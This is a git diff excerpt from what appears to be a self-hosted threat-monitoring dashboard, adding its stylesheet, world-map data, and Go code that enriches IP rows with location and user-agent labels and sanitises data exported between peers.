var next = cur === 'dark' ? 'light' : 'dark';
|
||||
document.documentElement.setAttribute('data-theme', next); set('urutau.theme', next);
|
||||
});
|
||||
apply();
|
||||
})();
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 73 KiB |
@@ -0,0 +1,204 @@
|
||||
:root {
|
||||
--bg: #070d14; --bg-2: #0b1420; --panel: rgba(13, 25, 38, .82); --line: rgba(148, 188, 205, .16);
|
||||
--text: #e8f2f4; --muted: #8ea5b0; --accent: #38bdf8; --accent-2: #f0b35b;
|
||||
--sev-critical: #ef4444; --sev-high: #f97316; --sev-medium: #f59e0b; --sev-low: #10b981; --sev-info: #64748b;
|
||||
--radius: 16px; --field: rgba(148, 188, 205, .08); --shadow: 0 10px 30px rgba(0, 0, 0, .35);
|
||||
--c-ssh-probe: #a5b4fc; color-scheme: dark;
|
||||
}
|
||||
:root[data-theme="light"] {
|
||||
--bg: #f0f4f8; --bg-2: #e2eaf0; --panel: rgba(255, 255, 255, .88); --line: rgba(15, 31, 38, .13);
|
||||
--text: #0f1f26; --muted: #536b75; --accent: #0284c7; --accent-2: #d97706; --field: rgba(15, 31, 38, .05);
|
||||
--shadow: 0 10px 30px rgba(15, 31, 38, .10); --c-ssh-probe: #6366f1; color-scheme: light;
|
||||
}
|
||||
@media (prefers-color-scheme: light) {
|
||||
:root:not([data-theme="dark"]) {
|
||||
--bg: #f0f4f8; --bg-2: #e2eaf0; --panel: rgba(255, 255, 255, .88); --line: rgba(15, 31, 38, .13);
|
||||
--text: #0f1f26; --muted: #536b75; --accent: #0284c7; --accent-2: #d97706; --field: rgba(15, 31, 38, .05);
|
||||
--shadow: 0 10px 30px rgba(15, 31, 38, .10); --c-ssh-probe: #6366f1; color-scheme: light;
|
||||
}
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
html { -webkit-text-size-adjust: 100%; min-height: 100%; background: var(--bg-2); }
|
||||
body {
|
||||
margin: 0; min-height: 100vh; color: var(--text); font: 14px/1.45 "Inter", "Segoe UI", system-ui, -apple-system, sans-serif;
|
||||
background: radial-gradient(1100px 500px at 15% 0, color-mix(in srgb, var(--accent) 14%, transparent), transparent 60%) no-repeat,
|
||||
linear-gradient(180deg, var(--bg), var(--bg-2));
|
||||
overflow-x: hidden;
|
||||
}
|
||||
a { color: var(--accent); }
|
||||
button, select, input { font: inherit; color: inherit; }
|
||||
.wrap { max-width: 1280px; margin: 0 auto; padding: 16px; }
|
||||
header.top { display: flex; flex-wrap: wrap; align-items: center; gap: 12px; padding-bottom: 14px; }
|
||||
.brand { display: flex; align-items: center; gap: 12px; margin-right: auto; min-width: 0; }
|
||||
.brand img { width: 44px; height: 44px; border-radius: 12px; flex: none; }
|
||||
.brand h1 { font-size: 20px; margin: 0; letter-spacing: .02em; }
|
||||
.brand small { display: block; color: var(--muted); font-size: 12px; max-width: 46ch; }
|
||||
.controls { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; }
|
||||
.btn, select, .seg button, input[type="text"], input[type="number"], input[type="password"] {
|
||||
background: var(--field); border: 1px solid var(--line); border-radius: 10px; padding: 7px 12px; min-height: 36px;
|
||||
}
|
||||
.btn, .seg button { cursor: pointer; }
|
||||
.btn:hover, .seg button:hover { border-color: var(--accent); }
|
||||
.btn.primary { background: var(--accent); color: #04121c; border-color: transparent; font-weight: 600; }
|
||||
.seg { display: inline-flex; border-radius: 10px; overflow: hidden; border: 1px solid var(--line); }
|
||||
.seg button { border: 0; border-radius: 0; background: transparent; }
|
||||
.seg button[aria-pressed="true"] { background: var(--accent); color: #04121c; font-weight: 600; }
|
||||
:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; }
|
||||
.live { display: inline-flex; align-items: center; gap: 6px; color: var(--muted); font-size: 12px; }
|
||||
.dot { width: 8px; height: 8px; border-radius: 50%; background: var(--sev-info); display: inline-block; flex: none; }
|
||||
.dot.on { background: var(--sev-low); box-shadow: 0 0 8px var(--sev-low); }
|
||||
.dot.off { background: var(--sev-critical); }
|
||||
.grid { display: grid; gap: 14px; }
|
||||
.kpis { grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); margin-bottom: 14px; }
|
||||
.panel {
|
||||
background: var(--panel); border: 1px solid var(--line); border-radius: var(--radius); padding: 14px 16px;
|
||||
box-shadow: var(--shadow); backdrop-filter: blur(10px); min-width: 0;
|
||||
}
|
||||
.panel h2 { font-size: 13px; text-transform: uppercase; letter-spacing: .08em; color: var(--muted); margin: 0 0 10px; font-weight: 600; }
|
||||
.kpi .v { font-size: 28px; font-weight: 700; line-height: 1.1; font-variant-numeric: tabular-nums; }
|
||||
.kpi .l { color: var(--muted); font-size: 12px; margin-top: 4px; }
|
||||
.kpi.hot .v { color: var(--sev-critical); }
|
||||
.kpi.warn .v { color: var(--sev-high); }
|
||||
.cols-2 { grid-template-columns: 1fr 1fr; }
|
||||
.cols-3 { grid-template-columns: repeat(3, 1fr); }
|
||||
.cols-main { grid-template-columns: minmax(0, 2fr) minmax(0, 1fr); }
|
||||
.mt { margin-top: 14px; }
|
||||
.chart-wrap { position: relative; }
|
||||
.chart-wrap svg { width: 100%; height: 230px; display: block; }
|
||||
.chart-wrap .tip {
|
||||
position: absolute; pointer-events: none; background: var(--bg-2); border: 1px solid var(--line); border-radius: 10px;
|
||||
padding: 8px 10px; font-size: 12px; z-index: 5; min-width: 130px; box-shadow: var(--shadow);
|
||||
}
|
||||
.tip[hidden] { display: none; }
|
||||
.tip div { display: flex; justify-content: space-between; gap: 12px; }
|
||||
.axis { fill: var(--muted); font-size: 10px; }
|
||||
.gridline { stroke: var(--line); stroke-width: 1; }
|
||||
.hover-col { fill: transparent; }
|
||||
.hover-col:hover { fill: color-mix(in srgb, var(--text) 8%, transparent); }
|
||||
.b-notfound { fill: var(--sev-info); } .b-scanner { fill: var(--sev-medium); } .b-bruteforce { fill: var(--sev-high); }
|
||||
.b-exploit { fill: var(--sev-critical); } .b-ssh-fail { fill: var(--accent); } .b-ssh-probe { fill: var(--c-ssh-probe); }
|
||||
.b-ban { fill: var(--accent-2); }
|
||||
.legend { display: flex; flex-wrap: wrap; gap: 6px 14px; margin-top: 8px; }
|
||||
.legend button { background: none; border: 0; padding: 2px 0; display: inline-flex; align-items: center; gap: 6px; cursor: pointer; color: var(--text); font-size: 12px; }
|
||||
.legend button[aria-pressed="false"] { opacity: .4; text-decoration: line-through; }
|
||||
.sw { width: 10px; height: 10px; border-radius: 3px; display: inline-block; }
|
||||
.sw.b-notfound { background: var(--sev-info); } .sw.b-scanner { background: var(--sev-medium); } .sw.b-bruteforce { background: var(--sev-high); }
|
||||
.sw.b-exploit { background: var(--sev-critical); } .sw.b-ssh-fail { background: var(--accent); } .sw.b-ssh-probe { background: var(--c-ssh-probe); }
|
||||
.sw.b-ban { background: var(--accent-2); }
|
||||
table { width: 100%; border-collapse: collapse; }
|
||||
th { text-align: left; font-size: 11px; text-transform: uppercase; letter-spacing: .06em; color: var(--muted); font-weight: 600; padding: 6px 8px; white-space: nowrap; }
|
||||
th button { background: none; border: 0; padding: 0; cursor: pointer; color: inherit; font: inherit; text-transform: inherit; letter-spacing: inherit; }
|
||||
td { padding: 8px; border-top: 1px solid var(--line); vertical-align: top; overflow-wrap: anywhere; }
|
||||
tr.row { cursor: pointer; }
|
||||
tr.row:hover td, tr.row:focus-visible td { background: var(--field); }
|
||||
.num { font-variant-numeric: tabular-nums; }
|
||||
.mono { font-family: ui-monospace, "SF Mono", Menlo, Consolas, monospace; font-size: 12.5px; }
|
||||
.badge { display: inline-block; padding: 1px 8px; border-radius: 999px; font-size: 11px; font-weight: 600; border: 1px solid transparent; white-space: nowrap; }
|
||||
.lv-hostile { background: color-mix(in srgb, var(--sev-critical) 22%, transparent); color: var(--sev-critical); border-color: var(--sev-critical); }
|
||||
.lv-suspicious { background: color-mix(in srgb, var(--sev-medium) 20%, transparent); color: var(--sev-medium); border-color: var(--sev-medium); }
|
||||
.lv-low { background: color-mix(in srgb, var(--sev-low) 16%, transparent); color: var(--sev-low); border-color: var(--sev-low); }
|
||||
.chip { display: inline-block; margin: 0 4px 2px 0; padding: 0 6px; border-radius: 6px; background: var(--field); font-size: 11px; white-space: nowrap; }
|
||||
.banned { color: var(--accent-2); font-weight: 600; }
|
||||
.bar-row { display: grid; grid-template-columns: minmax(0, 1fr) auto; gap: 2px 10px; padding: 5px 0; border-top: 1px solid var(--line); }
|
||||
.bar-row:first-of-type { border-top: 0; }
|
||||
.bar-row .k { overflow-wrap: anywhere; }
|
||||
.bar-row .n { color: var(--muted); font-variant-numeric: tabular-nums; }
|
||||
.bar-row .bar { grid-column: 1 / -1; height: 3px; border-radius: 2px; background: var(--field); overflow: hidden; }
|
||||
.bar-row .bar i { display: block; height: 100%; background: var(--accent); }
|
||||
.empty { color: var(--muted); padding: 8px 0; }
|
||||
.feed { list-style: none; margin: 0; padding: 0; max-height: 380px; overflow-y: auto; }
|
||||
.feed li { padding: 6px 0; border-top: 1px solid var(--line); display: grid; grid-template-columns: auto auto minmax(0, 1fr); gap: 2px 8px; align-items: baseline; }
|
||||
.feed li:first-child { border-top: 0; }
|
||||
.feed .t { color: var(--muted); font-size: 12px; font-variant-numeric: tabular-nums; }
|
||||
.feed .what { grid-column: 1 / -1; color: var(--muted); font-size: 12.5px; overflow-wrap: anywhere; }
|
||||
.feed a, .linkish { color: var(--accent); cursor: pointer; background: none; border: 0; padding: 0; text-decoration: underline; text-underline-offset: 2px; }
|
||||
.cat { display: inline-block; padding: 0 7px; border-radius: 6px; font-size: 11px; font-weight: 600; color: #04121c; }
|
||||
.cat.b-notfound { background: var(--sev-info); color: #fff; } .cat.b-scanner { background: var(--sev-medium); } .cat.b-bruteforce { background: var(--sev-high); }
|
||||
.cat.b-exploit { background: var(--sev-critical); color: #fff; } .cat.b-ssh-fail { background: var(--accent); } .cat.b-ssh-probe { background: var(--c-ssh-probe); }
|
||||
.cat.b-ban { background: var(--accent-2); } .cat.b-ssh-ok { background: var(--sev-low); } .cat.b-ok { background: var(--sev-low); }
|
||||
.toolbar { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; margin-bottom: 10px; }
|
||||
.toolbar input[type="text"] { flex: 1 1 140px; min-width: 0; }
|
||||
.toolbar input[type="number"] { width: 84px; }
|
||||
.pager { display: flex; justify-content: space-between; align-items: center; gap: 8px; margin-top: 10px; color: var(--muted); font-size: 12px; }
|
||||
.hosts { display: grid; gap: 10px; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); }
|
||||
.host { border: 1px solid var(--line); border-radius: 12px; padding: 10px 12px; }
|
||||
.host h3 { margin: 0 0 4px; font-size: 14px; display: flex; align-items: center; gap: 8px; }
|
||||
.host .meta { color: var(--muted); font-size: 12px; }
|
||||
.host dl { display: grid; grid-template-columns: 1fr auto; gap: 2px 8px; margin: 8px 0 0; font-size: 12.5px; }
|
||||
.host dd { margin: 0; font-variant-numeric: tabular-nums; text-align: right; }
|
||||
.host dt { color: var(--muted); }
|
||||
.st-following, .st-ok { color: var(--sev-low); } .st-waiting, .st-backfill { color: var(--sev-medium); } .st-error { color: var(--sev-critical); }
|
||||
aside#detail {
|
||||
position: fixed; top: 0; right: 0; bottom: 0; width: min(460px, 100vw); background: var(--bg-2); border-left: 1px solid var(--line);
|
||||
box-shadow: var(--shadow); z-index: 20; padding: 18px 16px; overflow-y: auto; overflow-x: hidden;
|
||||
}
|
||||
aside#detail[hidden] { display: none; }
|
||||
aside#detail h2 { font-size: 18px; text-transform: none; letter-spacing: 0; color: var(--text); margin: 0; overflow-wrap: anywhere; }
|
||||
aside#detail dl { display: grid; grid-template-columns: 110px minmax(0, 1fr); gap: 6px 10px; margin: 14px 0; }
|
||||
aside#detail dt { color: var(--muted); }
|
||||
aside#detail dd { margin: 0; overflow-wrap: anywhere; }
|
||||
aside#detail ul { margin: 0; padding-left: 16px; }
|
||||
.scrim { position: fixed; inset: 0; background: rgba(0, 0, 0, .45); z-index: 15; }
|
||||
.scrim[hidden] { display: none; }
|
||||
footer { color: var(--muted); font-size: 12px; text-align: center; padding: 20px 0 6px; }
|
||||
.err-banner { background: color-mix(in srgb, var(--sev-critical) 18%, transparent); border: 1px solid var(--sev-critical); border-radius: 10px; padding: 8px 12px; margin-bottom: 12px; }
|
||||
.err-banner[hidden] { display: none; }
|
||||
.login { min-height: 100vh; display: grid; place-items: center; padding: 16px; }
|
||||
.login .panel { width: min(400px, 100%); padding: 26px 22px; text-align: center; }
|
||||
.login img { width: 84px; height: 84px; border-radius: 20px; }
|
||||
.login h1 { margin: 10px 0 2px; }
|
||||
.login p { color: var(--muted); margin: 0 0 16px; }
|
||||
.login form { display: grid; gap: 10px; }
|
||||
.login .msg { color: var(--sev-critical); min-height: 1.4em; }
|
||||
.login .controls { justify-content: center; margin-top: 14px; }
|
||||
@media (max-width: 960px) {
|
||||
.cols-main, .cols-3 { grid-template-columns: 1fr; }
|
||||
.cols-2 { grid-template-columns: 1fr; }
|
||||
}
|
||||
@media (max-width: 720px) {
|
||||
.wrap { padding: 12px; }
|
||||
.brand small { display: none; }
|
||||
.kpi .v { font-size: 24px; }
|
||||
table.stack thead { display: none; }
|
||||
table.stack, table.stack tbody, table.stack tr, table.stack td { display: block; width: 100%; }
|
||||
table.stack tr { border-top: 1px solid var(--line); padding: 8px 0; }
|
||||
table.stack td { border: 0; padding: 2px 0; display: flex; justify-content: space-between; gap: 12px; text-align: right; }
|
||||
table.stack td::before { content: attr(data-label); color: var(--muted); font-size: 11px; text-transform: uppercase; letter-spacing: .05em; text-align: left; flex: none; }
|
||||
table.stack td > * { min-width: 0; }
|
||||
.chart-wrap svg { height: 190px; }
|
||||
}
|
||||
@media (prefers-reduced-motion: reduce) { * { transition: none !important; animation: none !important; } }
|
||||
#ips td:first-child, #ips td:nth-child(2), #sources td:nth-child(-n+2), #sources td:nth-child(n+4) { white-space: nowrap; overflow-wrap: normal; }
|
||||
@media (max-width: 720px) {
|
||||
#ips td, #sources td { white-space: normal !important; max-width: none !important; }
|
||||
#ips td:first-child { font-weight: 600; }
|
||||
}
|
||||
.tabs { display: flex; flex-wrap: wrap; gap: 6px; align-items: center; margin-bottom: 14px; }
|
||||
.tabs button[role="tab"] { background: var(--field); border: 1px solid var(--line); border-radius: 10px; padding: 8px 18px; cursor: pointer; font-weight: 600; }
|
||||
.tabs button[aria-selected="true"] { background: var(--accent); color: #04121c; border-color: transparent; }
|
||||
.tabs select { margin-left: auto; max-width: 100%; }
|
||||
.tabs select[hidden] { display: none; }
|
||||
.mapbox { display: grid; grid-template-columns: minmax(0, 3fr) minmax(0, 1fr); gap: 14px; align-items: start; }
|
||||
.map svg { width: 100%; height: auto; display: block; }
|
||||
.mapc { fill: var(--field); stroke: var(--line); stroke-width: .6; }
|
||||
.mapc.hit { fill: var(--sev-critical); stroke: var(--line); }
|
||||
.map.good .mapc.hit { fill: var(--accent); }
|
||||
.maplist .bar-row { padding: 4px 0; }
|
||||
.sw.t-req { background: color-mix(in srgb, var(--accent) 38%, transparent); }
|
||||
.sw.t-pages { background: var(--accent); }
|
||||
.b-treq { fill: color-mix(in srgb, var(--accent) 38%, transparent); }
|
||||
.b-tpages { fill: var(--accent); }
|
||||
.bar-row .sub { grid-column: 1 / -1; color: var(--muted); font-size: 11.5px; overflow-wrap: anywhere; }
|
||||
.origin { display: block; }
|
||||
.origin small, td small { display: block; color: var(--muted); font-size: 11.5px; overflow-wrap: anywhere; }
|
||||
footer #attrib { margin-top: 4px; opacity: .8; }
|
||||
@media (max-width: 960px) { .mapbox { grid-template-columns: 1fr; } }
|
||||
|
||||
/* compact IP table: one line per IP on desktop */
|
||||
#ips td { padding: 5px 8px; }
|
||||
#ips .origin { display: block; max-width: 170px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
#ips td:nth-child(4) { white-space: nowrap; }
|
||||
#ips td:nth-child(4) .chip { margin-bottom: 0; }
|
||||
@media (max-width: 720px) {
|
||||
#ips .origin { max-width: none; white-space: normal; }
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
/* Generated by scripts/gen-world.mjs from Natural Earth (public domain). */
|
||||
window.URUTAU_WORLD = {"w":2000,"h":789,"paths":{"FJ":"M1990 564l1 -1l2 2l-1 3l-3 0l-4 0l0 -3l2 -2l3 1zM0 556l1 0l-1 2l0 1M1996 560l-3 1l-1 -2l3 -1l2 0l3 -2M0 556z","TZ":"M1188 472l1 1l20 11l1 3l8 6l-3 7l1 3l3 2l0 1l-1 4l0 1l0 3l2 3l2 6l2 1l-4 3l-7 2l-3 0l-2 2l-4 0l-1 1l-7 -2l-4 1l-2 -8l-1 -2l-2 -2l-5 -1l-3 -2l-4 -1l-2 -1l-2 -1l-3 -7l-3 -3l-2 -3l1 -3l-1 -5l2 -1l2 -2l2 -2l2 -2l0 -1l-1 -2l-1 -2l2 -1l0 -3l-2 -3l2 -1l6 0l11 0z","EH":"M952 313l0 2l0 8l-18 0l0 14l-6 0l-1 3l1 8l-22 0l-1 2l0 -2l1 0l12 -1l1 -2l2 -2l2 -8l8 -6l2 -7l2 0l2 -5l4 0l2 0l3 0l2 -1l3 0l0 -3l1 0z","CA":"M318 194l-1 0l-11 -5l-4 -2l-10 -3l-3 -5l1 -3l-7 -2l-1 -5l-7 -4l0 -3l3 -2l0 -4l-10 -3l-5 -7l-4 -4l-5 -2l-4 -3l-3 -2l-5 1l-6 3l-5 -3l-3 -3l-6 -1l-5 0l0 -32l0 -21l10 2l9 2l6 1l5 -2l6 -2l9 1l8 -3l9 -1l4 2l4 -1l1 -3l4 1l9 5l8 -4l1 4l6 -1l2 -1l7 0l9 2l13 2l7 1l6 0l7 3l-8 2l10 2l15 -1l5 -1l6 3l6 -2l-6 -3l4 -2l7 0l4 -1l5 2l5 3l7 -1l9 3l9 -1l8 0l-1 -3l5 -1l9 2l0 5l4 -5l4 1l2 -6l-5 -3l-7 -3l0 -6l7 -4l7 1l6 2l8 7l-5 2l10 2l0 5l7 -4l7 3l-2 5l6 3l6 -4l4 -4l0 -7l8 1l8 1l7 2l1 3l-4 3l4 3l-1 3l-11 4l-8 1l-5 -2l-2 3l-6 4l-1 3l-7 4l-8 0l-4 2l0 4l-7 1l-7 4l-6 6l-2 5l0 6l8 1l3 5l2 5l8 -2l10 3l6 2l4 3l7 1l6 2l9 1l6 0l-1 5l2 6l4 6l8 5l4 -2l3 -5l-3 -9l-3 -3l8 -3l7 -4l3 -3l-1 -4l-3 -5l-7 -4l6 -6l-2 -5l-2 -9l4 -1l9 2l6 0l5 -1l5 2l7 3l1 2l10 0l0 5l2 7l5 1l4 3l8 -3l6 -6l3 -3l5 5l7 8l6 6l-2 4l7 3l5 3l9 1l3 2l3 5l4 1l2 2l1 6l-4 2l-4 2l-10 2l-7 5l-9 0l-12 -1l-8 0l-6 1l-5 4l-7 2l-8 7l-6 6l5 -1l9 -8l11 -4l9 -1l4 3l-5 4l2 6l2 4l7 3l9 -1l6 -6l0 4l4 2l-7 3l-12 4l-6 2l-6 4l-4 -1l-1 -4l10 -5l-9 0l-6 1l-4 -3l0 -8l-2 -1l-4 1l-2 -2l-4 4l-2 5l-2 2l-2 1l-2 0l0 2l-10 0l-9 0l-2 1l-6 4l-1 0l-2 2l-5 0l-5 0l-3 1l1 1l1 2l-1 1l-7 2l-6 1l-6 3l-1 0l-2 -1l-1 -1l1 -2l3 -3l2 -3l-1 -5l-2 -5l-5 -3l0 -1l-1 -1l-1 0l-1 0l0 -2l-2 1l-1 0l0 -1l-1 0l-1 -2l-4 -2l-4 -1l-6 -3l-5 -2l-5 2l-2 0l-7 -1l-4 0l-5 -1l-6 -1l-4 -1l-2 -1l-1 -3l-2 0l0 2l-11 0l-19 0l-19 0l-17 0l-16 0l-17 0l-17 0l-5 0l-17 0l-15 0zM533 120l5 -3l7 0l0 1l-6 3l-4 0l-2 -1zM557 62l-6 -3l0 -2l3 0l12 0l10 4l0 1l-6 0l-6 0l-6 1l-1 -1zM554 122l2 -2l2 0l2 1l-3 3l-2 0l-1 -2zM480 50l-3 2l-8 0l-7 -2l3 -2l8 -2l5 2l2 2zM479 36l-3 0l-10 0l-2 -2l11 0l4 1l0 1zM462 29l7 2l-1 2l-9 1l-4 -1l-3 -2l0 -3l7 1l3 0zM510 53l-9 0l-14 -2l-2 -3l-1 -3l-6 -2l-11 -1l-7 -2l3 -2l11 0l6 2l11 0l5 2l-1 2l6 1l4 2l7 0l8 0l9 -1l11 0l9 0l6 2l1 2l-3 2l-8 1l-7 -1l-16 1l-12 0zM382 32l8 1l-2 2l-11 2l-8 -2l5 -2l8 -1zM384 29l7 1l-7 1l-9 0l0 -1l6 -1l3 0zM691 182l-3 3l-4 5l4 -2l4 1l-2 2l5 2l2 -2l6 2l-2 4l4 -1l1 3l2 4l-3 4l-2 1l-4 -1l1 -5l-1 -1l-7 5l-3 0l4 -3l-6 -1l-5 0l-11 0l-1 -1l3 -2l-2 -2l5 -3l5 -9l4 -3l5 -2l2 0l-1 2zM534 105l6 2l6 2l1 2l4 0l4 2l-5 1l-9 -1l-3 -2l-5 3l-8 2l-2 -3l-8 1l5 -3l1 -4l2 -6l4 1l1 2l3 0l3 1zM562 65l6 -2l12 2l8 3l0 2l11 -1l5 4l14 2l5 2l5 5l-10 3l13 4l9 1l8 5l8 0l-1 4l-10 7l-7 -3l-9 -5l-7 1l-1 3l6 3l8 3l2 1l4 5l-2 4l-7 -1l-14 -4l8 4l6 4l0 2l-15 -3l-12 -3l-6 -3l2 -1l-9 -3l-8 -3l0 2l-16 1l-4 -2l3 -4l11 0l11 -1l-2 -2l2 -3l7 -5l-1 -3l-2 -1l-9 -3l-11 -2l4 -1l-6 -4l-5 0l-5 -2l-3 2l-10 0l-20 -1l-12 -2l-9 0l-4 -2l6 -3l-8 0l-2 -6l4 -5l6 -2l14 -1l-4 3l4 4l6 -5l14 -2l9 6l-1 3l11 -1zM475 55l12 0l10 1l-8 5l-7 1l-6 5l-6 -1l-4 -5l1 -2l2 -3l6 -1zM317 44l10 -4l11 -4l9 0l7 -1l0 5l-5 2l-5 0l-10 2l-9 1l-8 -1zM263 166l5 0l-2 6l5 5l-2 0l-3 -3l-2 -2l-3 -2l-1 -2l0 -2l3 0zM414 26l11 1l15 2l4 3l2 2l-9 -1l-9 -2l-12 0l5 -1l-7 -2l0 -2zM314 197l-3 1l-9 -3l-2 -2l-5 -1l-1 -2l-5 -1l-3 -3l1 -1l6 1l3 1l5 0l2 2l3 3l6 2l2 3zM325 53l8 1l14 1l5 1l6 2l-7 2l-13 4l-7 4l0 2l-15 3l-3 -3l-13 -3l3 -2l4 -4l4 -4l-5 -3l19 -1zM401 45l5 -1l6 1l1 2l-4 3l-18 1l-14 2l-9 0l-1 -1l12 -3l-25 1l-8 -1l8 -6l5 -1l16 2l9 3l10 0l-8 -5l5 -2l6 1l2 2l2 2zM408 61l6 2l4 5l2 4l9 3l10 3l-1 2l-9 1l4 2l-2 2l-10 -1l-10 -2l-6 1l-11 2l-14 0l-10 1l-3 -3l-7 -1l-5 0l-7 -4l4 -1l8 -1l8 1l7 -1l-10 -2l-12 1l-8 0l-3 -2l13 -2l-9 0l-9 -2l4 -4l4 -2l15 -4l6 1l-3 3l12 -2l8 3l6 -3l5 2l5 6l3 -3l-4 -5l5 -1l5 1zM442 63l-6 -4l6 -3l7 2l10 -1l1 2l-5 2l9 3l-1 5l-9 2l-6 -1l-4 -2l-13 -4l0 -2l11 1zM408 58l7 0l4 1l-4 3l-9 -3l2 -1zM453 40l4 3l0 3l-2 4l-9 1l-6 -1l0 -4l-9 1l-1 -4l6 0l9 -2l7 0l1 -1zM467 19l3 -2l6 0l-2 -1l13 -1l7 3l9 1l9 1l5 4l6 2l-7 2l-11 4l-9 0l-12 -1l-6 -2l0 -2l5 -1l-11 0l-6 -2l-3 -3l4 -2zM491 12l8 -1l7 -1l11 0l8 -3l7 1l6 1l4 -3l7 -1l10 0l17 0l3 0l16 -1l12 1l12 0l15 0l12 1l10 2l0 1l-13 3l-14 1l-5 1l12 0l-13 3l-9 2l-9 4l-12 1l-3 1l-17 1l7 1l-3 1l4 2l-5 2l-9 2l-2 2l-8 2l1 1l9 0l0 1l-15 3l-14 -1l-16 1l-9 -1l-10 0l-1 -3l10 -1l-2 -4l3 0l15 2l-8 -4l-9 -1l5 -2l10 -1l1 -2l-8 -2l-2 -3l15 0l5 1l8 -2l-12 -1l-20 0l-9 -2l-5 -2l-7 -1l-1 -2zM582 92l-3 2l-7 0l-1 -3l2 -3l5 -1l5 2l0 2l-1 1zM465 81l4 2l-4 2l-7 -2l-5 1l-7 -3l4 -2l4 -2l6 2l4 1l1 1zM642 190l1 -1l8 2l5 2l1 1l-3 0l-7 -2l-5 -2zM644 205l2 3l4 1l5 0l-2 2l-2 0l-7 -2l-2 -2l2 -2z","US":"M318 194l15 0l17 0l5 0l17 0l17 0l16 0l17 0l19 0l19 0l11 0l0 -2l2 0l1 3l2 1l4 1l6 1l5 1l4 0l7 1l2 0l5 -2l5 2l6 3l4 1l4 2l1 2l1 0l0 1l1 0l2 -1l0 2l1 0l1 0l1 1l0 1l5 3l2 5l1 5l-2 3l-3 3l-1 2l1 1l2 1l1 0l6 -3l6 -1l7 -2l1 -1l-1 -2l-1 -1l3 -1l5 0l5 0l2 -2l1 0l6 -4l2 -1l9 0l10 0l0 -2l2 0l2 -1l2 -2l2 -5l4 -4l2 2l4 -1l2 1l0 8l4 3l1 2l-6 2l-6
Line truncated
|
||||
@@ -0,0 +1,51 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"strings"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
// Enrich adds country, city and network to an IP row (no-op without an
|
||||
// enricher or when the row already carries the data, e.g. from a peer).
|
||||
func (s *Store) Enrich(x *IPSummary) {
|
||||
if s.enr == nil || x.CC != "" || x.ASN != 0 {
|
||||
return
|
||||
}
|
||||
addr := x.IP
|
||||
if p, err := netip.ParsePrefix(x.IP); err == nil {
|
||||
addr = p.Addr().String()
|
||||
}
|
||||
if a, err := netip.ParseAddr(addr); err != nil || a.Zone() != "" {
|
||||
return
|
||||
}
|
||||
g := s.enr.Geo(addr)
|
||||
x.CC, x.Country, x.City, x.ASN, x.ASOrg = g.CC, g.Country, g.City, g.ASN, g.ASOrg
|
||||
}
|
||||
|
||||
// UALabel renders a parsed User-Agent as "Chrome / Windows / desktop" or the
|
||||
// tool or bot name. Empty without an enricher.
|
||||
func (s *Store) UALabel(raw string) string {
|
||||
if s.enr == nil || raw == "" {
|
||||
return ""
|
||||
}
|
||||
return LabelUA(s.enr.UA(raw))
|
||||
}
|
||||
|
||||
// LabelUA formats a UAInfo.
|
||||
func LabelUA(u core.UAInfo) string {
|
||||
switch {
|
||||
case u.Tool != "":
|
||||
return u.Tool + " (tool)"
|
||||
case u.Bot && u.BotName != "":
|
||||
return u.BotName + " (bot)"
|
||||
}
|
||||
var parts []string
|
||||
for _, p := range []string{u.Browser, u.OS, u.Device} {
|
||||
if p != "" && p != "unknown" {
|
||||
parts = append(parts, p)
|
||||
}
|
||||
}
|
||||
return strings.Join(parts, " / ")
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"math"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
// ExportVersion is the schema version of PeerExport.
|
||||
const ExportVersion = 1
|
||||
|
||||
// PeerExport is the single document a hub pulls from a peer: the threat
|
||||
// summary (IP rows already carry the detail the hub shows), and the traffic
|
||||
// analytics for all domains together and for each domain.
|
||||
type PeerExport struct {
|
||||
V int `json:"v"`
|
||||
Summary Summary `json:"summary"`
|
||||
Traffic map[string]TrafficData `json:"traffic"`
|
||||
}
|
||||
|
||||
// Export builds the peer document for a range.
|
||||
func (s *Store) Export(rangeName string) PeerExport {
|
||||
rg := ParseRange(rangeName)
|
||||
all := s.TrafficSummary(rg.Name, "all")
|
||||
e := PeerExport{V: ExportVersion, Summary: s.Summary(rg.Name), Traffic: map[string]TrafficData{"all": all}}
|
||||
for _, d := range all.Domains {
|
||||
e.Traffic[d.Key] = s.TrafficSummary(rg.Name, d.Key)
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
var errBadExport = errors.New("invalid peer export")
|
||||
|
||||
// clipS bounds a string and strips control characters (it may come from a peer).
|
||||
func clipS(s string, n int) string {
|
||||
if strings.IndexFunc(s, func(r rune) bool { return r < 0x20 || r == 0x7f }) >= 0 {
|
||||
s = strings.Map(func(r rune) rune {
|
||||
if r < 0x20 || r == 0x7f {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, s)
|
||||
}
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
return strings.ToValidUTF8(s[:n], "")
|
||||
}
|
||||
|
||||
func clipList(l []string, max, n int) []string {
|
||||
if len(l) > max {
|
||||
l = l[:max]
|
||||
}
|
||||
for i := range l {
|
||||
l[i] = clipS(l[i], n)
|
||||
}
|
||||
return l
|
||||
}
|
||||
|
||||
func clipCounts(l []Count, max int) []Count {
|
||||
if len(l) > max {
|
||||
l = l[:max]
|
||||
}
|
||||
for i := range l {
|
||||
l[i].Key, l[i].Label = clipS(l[i].Key, 300), clipS(l[i].Label, 120)
|
||||
}
|
||||
return l
|
||||
}
|
||||
|
||||
func finite(f float64) bool { return !math.IsNaN(f) && !math.IsInf(f, 0) && f >= 0 }
|
||||
|
||||
func fixGrid(series map[string][]uint32, cats []string, nb int) {
|
||||
for _, c := range cats {
|
